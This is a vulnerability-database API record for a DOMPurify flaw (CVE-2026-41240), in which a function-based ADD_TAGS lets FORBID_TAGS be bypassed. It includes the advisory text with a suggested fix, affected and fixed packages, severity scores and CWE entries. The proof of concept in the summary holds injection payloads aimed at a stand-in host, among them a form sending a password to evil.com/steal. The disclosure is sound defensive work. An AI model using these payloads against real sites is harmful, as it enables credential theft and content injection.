Vulnerability Instance
Lookup for vulnerabilities affecting packages.
GET /api/vulnerabilities/354054?format=api
{ "url": "http://public2.vulnerablecode.io/api/vulnerabilities/354054?format=api", "vulnerability_id": "VCID-t7hs-8fpg-jqdw", "summary": "DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)\nThere is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.\n\nCommit [c361baa](https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80) added an early exit for FORBID_ATTR at line 1214:\n\n /* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */\n if (FORBID_ATTR[lcName]) {\n return false;\n }\n\nThe same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:\n\n if (\n !(\n EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&\n EXTRA_ELEMENT_HANDLING.tagCheck(tagName) // true -> short-circuits\n ) &&\n (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName]) // never evaluated\n ) {\n\nThis allows forbidden elements to survive sanitization with their attributes intact.\n\nPoC (tested against current HEAD in Node.js + jsdom):\n\n const DOMPurify = createDOMPurify(window);\n\n DOMPurify.sanitize(\n '<iframe src=\"https://evil.com\"></iframe>',\n {\n ADD_TAGS: function(tag) { return true; },\n FORBID_TAGS: ['iframe']\n }\n );\n // Returns: '<iframe src=\"https://evil.com\"></iframe>'\n // Expected: '' (iframe forbidden)\n\n DOMPurify.sanitize(\n '<form action=\"https://evil.com/steal\"><input name=password></form>',\n {\n ADD_TAGS: function(tag) { return true; },\n FORBID_TAGS: ['form']\n }\n );\n // Returns: '<form action=\"https://evil.com/steal\"><input name=\"password\"></form>'\n // Expected: '<input name=\"password\">' (form forbidden)\n\nConfirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.\n\nCompare with FORBID_ATTR which correctly wins:\n\n DOMPurify.sanitize(\n '<p onclick=\"alert(1)\">hello</p>',\n {\n ADD_ATTR: function(attr) { return true; },\n FORBID_ATTR: ['onclick']\n }\n );\n // Returns: '<p>hello</p>' (onclick correctly removed)\n\nSuggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:\n\n /* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */\n if (FORBID_TAGS[tagName]) {\n // proceed to removal logic\n }\n\nThis requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.\n\nReporter: Koda Reef", "aliases": [ { "alias": "CVE-2026-41240" }, { "alias": "GHSA-h7mw-gpvr-xq4m" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/1077458?format=api", "purl": "pkg:deb/debian/node-dompurify@3.4.1%2Bdfsg-1?distro=trixie", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/node-dompurify@3.4.1%252Bdfsg-1%3Fdistro=trixie" }, { "url": "http://public2.vulnerablecode.io/api/packages/1105437?format=api", "purl": "pkg:deb/debian/node-dompurify@3.4.2%2Bdfsg-1", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/node-dompurify@3.4.2%252Bdfsg-1" }, { "url": "http://public2.vulnerablecode.io/api/packages/1103002?format=api", "purl": "pkg:deb/debian/node-dompurify@3.4.2%2Bdfsg-1?distro=trixie", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/node-dompurify@3.4.2%252Bdfsg-1%3Fdistro=trixie" }, { "url": "http://public2.vulnerablecode.io/api/packages/1067228?format=api", "purl": "pkg:npm/dompurify@3.4.0", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/dompurify@3.4.0" } ], "affected_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/932180?format=api", "purl": "pkg:deb/debian/node-dompurify@2.4.1%2Bdfsg%2B~2.4.0-2%2Bdeb12u1?distro=trixie", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-68r6-dfzr-jyhh" }, { "vulnerability": "VCID-8y7q-v1h7-b7hd" }, { "vulnerability": "VCID-mv6v-re2k-g3gn" }, { "vulnerability": "VCID-ps3s-bymy-dkbc" }, { "vulnerability": "VCID-t7hs-8fpg-jqdw" }, { "vulnerability": "VCID-vn3n-jmc8-57h3" }, { "vulnerability": "VCID-vzq7-t235-ukd5" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/node-dompurify@2.4.1%252Bdfsg%252B~2.4.0-2%252Bdeb12u1%3Fdistro=trixie" }, { "url": "http://public2.vulnerablecode.io/api/packages/1055430?format=api", "purl": "pkg:deb/debian/node-dompurify@2.4.1%2Bdfsg%2B~2.4.0-2%2Bdeb12u1", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-68r6-dfzr-jyhh" }, { "vulnerability": "VCID-8y7q-v1h7-b7hd" }, { "vulnerability": "VCID-mv6v-re2k-g3gn" }, { "vulnerability": "VCID-ps3s-bymy-dkbc" }, { "vulnerability": "VCID-t7hs-8fpg-jqdw" }, { "vulnerability": "VCID-vn3n-jmc8-57h3" }, { "vulnerability": "VCID-vzq7-t235-ukd5" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/node-dompurify@2.4.1%252Bdfsg%252B~2.4.0-2%252Bdeb12u1" }, { "url": "http://public2.vulnerablecode.io/api/packages/1055431?format=api", "purl": "pkg:deb/debian/node-dompurify@3.1.7%2Bdfsg%2B~3.0.5-2", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-68r6-dfzr-jyhh" }, { "vulnerability": "VCID-8y7q-v1h7-b7hd" }, { "vulnerability": "VCID-mv6v-re2k-g3gn" }, { "vulnerability": "VCID-ps3s-bymy-dkbc" }, { "vulnerability": "VCID-t7hs-8fpg-jqdw" }, { "vulnerability": "VCID-vn3n-jmc8-57h3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/node-dompurify@3.1.7%252Bdfsg%252B~3.0.5-2" }, { "url": "http://public2.vulnerablecode.io/api/packages/932183?format=api", "purl": "pkg:deb/debian/node-dompurify@3.1.7%2Bdfsg%2B~3.0.5-2?distro=trixie", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-68r6-dfzr-jyhh" }, { "vulnerability": "VCID-8y7q-v1h7-b7hd" }, { "vulnerability": "VCID-mv6v-re2k-g3gn" }, { "vulnerability": "VCID-ps3s-bymy-dkbc" }, { "vulnerability": "VCID-t7hs-8fpg-jqdw" }, { "vulnerability": "VCID-vn3n-jmc8-57h3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/node-dompurify@3.1.7%252Bdfsg%252B~3.0.5-2%3Fdistro=trixie" }, { "url": "http://public2.vulnerablecode.io/api/packages/1067261?format=api", "purl": "pkg:deb/debian/node-dompurify@3.3.3%2Bdfsg-2", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-68r6-dfzr-jyhh" }, { "vulnerability": "VCID-8y7q-v1h7-b7hd" }, { "vulnerability": "VCID-t7hs-8fpg-jqdw" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/node-dompurify@3.3.3%252Bdfsg-2" }, { "url": "http://public2.vulnerablecode.io/api/packages/1062505?format=api", "purl": "pkg:deb/debian/node-dompurify@3.3.3%2Bdfsg-2?distro=trixie", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-68r6-dfzr-jyhh" }, { "vulnerability": "VCID-8y7q-v1h7-b7hd" }, { "vulnerability": "VCID-t7hs-8fpg-jqdw" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/node-dompurify@3.3.3%252Bdfsg-2%3Fdistro=trixie" } ], "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-41240.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.1", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-41240.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-41240", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00036", "scoring_system": "epss", "scoring_elements": "0.10636", "published_at": "2026-05-12T12:55:00Z" }, { "value": "0.00036", "scoring_system": "epss", "scoring_elements": "0.10593", "published_at": "2026-05-11T12:55:00Z" }, { "value": "0.00036", "scoring_system": "epss", "scoring_elements": "0.10614", "published_at": "2026-05-09T12:55:00Z" }, { "value": "0.00036", "scoring_system": "epss", "scoring_elements": "0.10547", "published_at": "2026-05-07T12:55:00Z" }, { "value": "0.00036", "scoring_system": "epss", "scoring_elements": "0.1041", "published_at": "2026-05-05T12:55:00Z" }, { "value": "0.00045", "scoring_system": "epss", "scoring_elements": "0.13604", "published_at": "2026-04-24T12:55:00Z" }, { "value": "0.00045", "scoring_system": "epss", "scoring_elements": "0.13576", "published_at": "2026-04-26T12:55:00Z" }, { "value": "0.00059", "scoring_system": "epss", "scoring_elements": "0.18152", "published_at": "2026-04-29T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-41240" }, { "reference_url": "https://github.com/cure53/DOMPurify", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.0", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/cure53/DOMPurify" }, { "reference_url": "https://github.com/cure53/DOMPurify/releases/tag/3.4.0", "reference_id": "", "reference_type": "", "scores": [ { "value": "6", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N" }, { "value": "6.0", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-23T17:21:26Z/" } ], "url": "https://github.com/cure53/DOMPurify/releases/tag/3.4.0" }, { "reference_url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m", "reference_id": "", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "6", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N" }, { "value": "6.0", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-23T17:21:26Z/" } ], "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m" }, { "reference_url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1134892", "reference_id": "1134892", "reference_type": "", "scores": [], "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1134892" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2461147", "reference_id": "2461147", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2461147" }, { "reference_url": "https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80", "reference_id": "c361baa18dbdcb3344a41110f4c48ad85bf48f80", "reference_type": "", "scores": [ { "value": "6", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N" }, { "value": "6.0", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-23T17:21:26Z/" } ], "url": "https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41240", "reference_id": "CVE-2026-41240", "reference_type": "", "scores": [ { "value": "6.0", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41240" }, { "reference_url": "https://github.com/advisories/GHSA-h7mw-gpvr-xq4m", "reference_id": "GHSA-h7mw-gpvr-xq4m", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-h7mw-gpvr-xq4m" } ], "weaknesses": [ { "cwe_id": 183, "name": "Permissive List of Allowed Inputs", "description": "The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are explicitly allowed by policy because the inputs are assumed to be safe, but the list is too permissive - that is, it allows an input that is unsafe, leading to resultant weaknesses." }, { "cwe_id": 79, "name": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "description": "The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users." } ], "exploits": [], "severity_range_score": "4.0 - 8.1", "exploitability": "0.5", "weighted_severity": "7.3", "risk_score": 3.6, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-t7hs-8fpg-jqdw" }